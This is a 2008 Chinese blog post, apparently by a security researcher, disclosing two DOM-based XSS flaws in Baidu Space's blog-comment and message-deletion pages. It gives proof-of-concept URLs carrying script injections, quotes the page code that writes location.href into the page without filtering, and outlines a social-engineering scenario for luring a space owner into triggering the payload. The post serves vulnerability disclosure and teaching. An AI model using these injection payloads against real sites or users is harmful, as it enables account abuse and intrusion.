百度空间 | 百度首页 
 
查看文章
 
The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞(下)
2008-07-14 10:56
注:版权所有,转载请注明出处。

继续前面的话题。

讲点题外话,写这个WoBB系列确实是有点累,截图、贴代码、写文字、校稿都要花费我不少时间。

大家多给我点支持,我争取把这个连载写完,尽量不做太监~~。

以前还梦想着以后去写YY小说,看这样子,说不定什么时候就进宫了。

扯完淡了,继续讲漏洞。

Baidu的DOM XSS漏洞大部分是出在 spRefURL 这个参数上的。

这个参数应该是用来统计 Referer 字段一类的作用,也可能是baidu的数据仓库用来收集用户行为所布下的暗桩(我很喜欢牛博威用的这个词~~~~多形象啊~~~呵呵)。

但是这个参数往往在收集URL的同时,也把我们的XSS脚本给收集进去了。

看如下漏洞。

XSS 3: 百度空间博客评论处DOM XSS

测试方法如下:
进入以下URL(用户名和帖子ID自己替换,别傻的直接点了然后告诉我测试无效):

http://hi.baidu.com/testuser/blog/item/e3713128deadbabe99250a9e#'><script>alert(/fvck+baidu/);</script><'

可以看到,我们的可爱的小框再次弹出来了!

有多少评论,这个小框就会弹多少次。

漏洞原因还是和XSS 2一样,如下:
表单中用js动态获取url
<form name="form1" id="popFormSubmit" action="/testuser/commit" method="post" onSubmit="return checkcmtform()">
<input type="hidden" name="ct" value="8">
<input type="hidden" name="cm" value="1">
<input type="hidden" name="spBlogID" value="1f9a3aacaff38d0c4b36d6f5">
<script LANGUAGE="JavaScript">
    document.write("<input type='hidden' name='spRefURL' value='"+window.location.href+"'>");
</script>
<div class="tit">发表评论:</div>
<table width="620" border="0" cellspacing="5" cellpadding="0">
<tr>

这个叫popFormSubmit的表单挺造孽的,很多地方都有它!估计很快就会补。


如果说上面这个漏洞和前面的有点雷同的话,那么接下来讲的这个就有点细微的差别了。


XSS 4: 百度空间删除留言DOM XSS漏洞
测试方法:
输入以下URL:

http://hi.baidu.com/testuser/profile#";alert(/FVCK+BAIDU+XSS/);"

或者如下URL:

http://hi.baidu.com/testuser/board#";alert(/FVCK+BAIDU+XSS/);"

当然,你要是在登录状态下。

进入之后,我们看到好像什么都没有~~,没错,就是什么都没有。

这时候如果你有留言,那么,删除它,如果没有,自己写个留言,再去删除它。

在提交删除后,就会看到我们可爱的小框框弹出来啦~~!


问题出在提交表单后的返回页面上。

表单提交时:
    function delete_comment(cmt_id){
        var pop = new Popup({ contentType:3,isReloadOnClose:false,width:340,height:80});
        pop.setContent("title","删除留言");
        pop.setContent("confirmCon","您确定要彻底删除该留言吗?");
        pop.setContent("callBack", function(){
            pop.config.contentType = 1;
            pop.setContent("contentUrl", "");
            pop.reBuild();
            document.comment_delete_form.target = pop.iframeIdName;
            document.comment_delete_form.spBCmtID.value = cmt_id;
            document.comment_delete_form.spRefURL.value = location.href;
            document.comment_delete_form.submit();
        });
        pop.build();
        pop.show();
        return false;
    }

Baidu通过commit做了很多操作,几乎所有表单都是由commit返回的。

在返回时,会有一个动态结果,这里的漏洞就出在这个动态返回结果上。

以下是页面返回后的代码:
<!--STATUS OK-->

......

<!--
以下部分是动态提交内容
//-->

......

<!-- 42.删除留言 -->
   
<script language="javascript">
<!--
writestr("留言删除成功!");
var ref="http://hi.baidu.com/testuser/board#";alert(/XSS/);"";
if(ref.match(/board\/boardid/gi)){
    url="http://hi.baidu.com/testtest9/board"
}else{
    url=ref;
}
function gotCmtUrl()
{
   if(top.location.href==url) top.location.reload();
   else top.location.href=url;
}
//gotourl(url);
//setTimeout(function(){top.location.href=url;},600);
setTimeout("gotCmtUrl()",600);
//-->
</script>
   

</div>
</body>
</html>


由于ref直接引用了url, 而没有做任何过滤,所以我们就可以把js直接写进该返回页面中。

设想如下场景: 在某空间留言辱骂主人,然后将URL copy给主人或诱使其去看,主人一怒下删除之,然后就XXXXXXX

具体利用见仁见智了。



欲知后事如何,且听下回分解。

PS: 本次活动仅仅是个人行为,与任何组织或集体无关.





类别:象牙塔 | 添加到搜藏 | 浏览() | 评论 (9)
 
最近读者:
 
网友评论:
1
2008-07-14 12:00 | 回复
这样的系列不错,继续
 
2
2008-07-14 13:50 | 回复
回复就是最大的支持啦 刺很好
 
3
2008-07-14 16:08 | 回复
baidu的漏洞 可以用 the year of baidu bug 比较合适
 
4
2008-07-14 16:12 | 回复
location.href这个可以作为找xss的入口点之一。
 
5
2008-07-14 16:29 | 回复
....最后一点有点阴....还好..貌似我们都具备了 打不还手 骂不还口 的能力.......
 
6
2008-07-14 18:04 | 回复
太阴了!哈哈!
 
7
2008-07-15 11:58 | 回复
cool!
 
8
2008-07-15 13:07 | 回复
up up
 
9
2008-12-02 10:10 | 回复
test
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu